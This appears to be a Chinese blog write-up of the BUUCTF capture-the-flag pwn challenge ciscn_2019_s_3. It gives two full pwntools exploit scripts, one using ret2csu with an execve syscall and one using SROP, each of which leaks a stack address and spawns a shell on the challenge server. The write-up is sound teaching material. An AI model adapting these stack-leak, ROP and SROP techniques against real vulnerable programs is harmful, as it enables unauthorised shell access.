BUUCTF ciscn_2019_s_3

                      

64位程序,开了栈不可执行.

ida打开:

主程序可利用的非常少,长得比较像ret2libc,但是看到函数表,却缺少read和write的plt和got:

但是发现函数表有特殊的函数,gadgets,跟踪看看:

发现这里将rax改成0f和0x3b,对rax进行修改,也就是改变了系统调用号,其中0xf对应的是Sigreturn,0x3b对应的就是execve,其中Sigreturn可以进行srop,execve就是初级rop了,这里主要讲execve("/bin/sh\x00",0,0),为了实现execve,有/bin/sh,而程序中是没有的,需要我们往stack上面写入,将地址pop给rdi,还需要将rsi,rdx pop为0,最后syscall,就可以实现execve的系统调用了。

思路一--利用exexve

具体操作:

 1.往stack上面写入/bin/sh\x00,首先read函数可以往buf写入0x400的内容,write会将buf中0x30内容输出出来,值得注意的是,buf只能储存0x10的内容,那么接下来write继续输出,就会将stack址输出出来,那么我们可以借write得到stack的地址。

gdb调试,输入AAAAAAAA查看stack:

发现输入的字符串的地址,查看这周边的内容,write从0x7d...de00就会开始输出

其中写入buf的字符串在0x7d...de00,偏移量为0x7f...de30-0x7f...de10=0x20.

stack为出现程序名字的这一行,0x7f...df48,可以发现,stack对应着write输出的第0x20位,stack与buf地址相差f48-e30 = 0x118

故要求写入字符串的地址,需要将stack的地址-0x118:

payload = b'/bin/sh\x00' + b'a'*8 + p64(vuln)
p.send(payload)
p.recv(0x20) # stack前面的不需要
bin_sh = u64(p.recv(8)) - 0x118
print("[+][+][+][+] bin_sh_addr = ",hex(bin_sh))

2.stack的地址我们有了,只需要写写入/bin/sh\x00就行了,接下来开始准备gadget:

ROPgadget --binary ciscn_s_3 --only "pop|ret"
Gadgets information
============================================================
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret

Unique gadgets found: 11

发现程序提供给我们的gadget很少,只有pop_rdi_ret,pop_rsi_r15_ret,我们还差对rdx修改的gadget,但是这里并没有,但是我们看到函数列表有一个_libc_csu_init函数,这个函数是对所有寄存器初始化的,这里存在着大量的pop_ret片段,我们看看这里有没有可以改变rdx的地方:

在这里我们发现的可以修改rdx的值,mov rdx,r13 我们将r13的值修改为0,然后执行这个mov指令就可以修改rdx为0了,修改r13就靠下面连续6个pop了,这时候我第一次直接:

payload += p64(pop6ret) + p64(0) * 6

但是发现不行,我们看到mov指令,那里是没有紧跟着ret的,到了下面的call之后才会结束这一片段的执行,如果将pop的6个寄存器都赋值为0,那么call后面的ptr就不合理了,显然是打不通的,所以注意ptr括号中的,由于rbx一定是0,所以我们要将r12修改为call合理的位置,如图:

完整exp:

from pwn import *
context(arch='amd64',log_level='debug',os='linux')
p = remote("node5.buuoj.cn",25218)

#execve("/bin/sh",0,0)
#rdi->/bin/sh,rsi->0,rdx->0
execve = 0x04004E2 #pop rax 59 
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x040059A # _libc_csu_init
pop_rdi_ret = 0x00000000004005a3
mov_rdx_r13 = 0x0400580
syscall = 0x0400517
vuln = 0x04004ED

payload = b'/bin/sh\x00' + b'a'*8 + p64(vuln)
p.send(payload)
p.recv(0x20)
bin_sh = u64(p.recv(8)) - 280
print("[+][+][+][+] bin_sh_addr = ",hex(bin_sh))

payload = b'/bin/sh\x00'*2 + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload += p64(0) * 2
payload += p64(bin_sh + 0x50)
payload += p64(0) * 3
payload += p64(mov_rdx_r13) # rdx=r13=0,rsi=r14=0
payload += p64(execve) +  p64(pop_rdi_ret) + p64(bin_sh)
payload += p64(syscall)
p.send(payload)
p.interactive()

参考:

详细ciscn_2019_s_3题解_ciscn真题讲解-CSDN博客

思路二--srop 

正如开头所说,题目还提供了0xf的系统调用号,也就是说我们可以用Sigreturn这个模板去写,pwntools集成了SigreturnFrame,便于我们在第二部分传入"/bin/sh\x00“的时候就不需要思考那么多。 

对于/bin/sh的写入问题,初始想法是写在data段,毕竟怎么方便怎么来,能不泄露stack地址当然是最好,可是实操之后发现写在data段不行,data段留的位置太少了,所以还是只能先泄露stack地址,再将/bin/sh写入stack,再利用Sigreturn实现execve,上脚本吧:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote("node5.buuoj.cn",28836)

syscall_ret = 0x0400517
data = 0x0601020
mov_rax_0xf = 0x4004DA
#两次Sigreturn,第一次输入/bin/sh\x00
#第二次执行execve("/bin/sh",0,0)
'''
frame = SigreturnFrame()
frame.rax = 0 # read系统调用
frame.rdi = 0 # read(0,data,0x100)
frame.rsi = data
frame.rdx = 0x100
frame.rip = syscall_ret
frame.rbp = data + 0x10
payload = cyclic(0xa) + p64(mov_rax_0xf) + p64(syscall_ret)
payload += bytes(frame)
p.sendline(payload)
'''
vuln = 0x04004ED

payload = b'/bin/sh\x00' + b'a'*8 + p64(vuln)
p.send(payload)
p.recv(0x20)
bin_sh = u64(p.recv(8)) - 280
print("[+][+][+][+] bin_sh_addr = ",hex(bin_sh))

#第二次Sigreturn
payload = [ b'/bin/sh\x00',b'a'*0x8,mov_rax_0xf,syscall_ret]
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload.append(bytes(frame))
p.sendline(flat(payload))
p.interactive()

这样直接利用pwntools模块写就不需要如上述考虑r12的地址了,省去了很多的思考,不懂Sigreturn的可以看我写的这个或者看ctf.wiki:

 BUUCTF rootersctf_2019_srop-CSDN博客

SROP - CTF Wiki (ctf-wiki.org)

  • 27
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值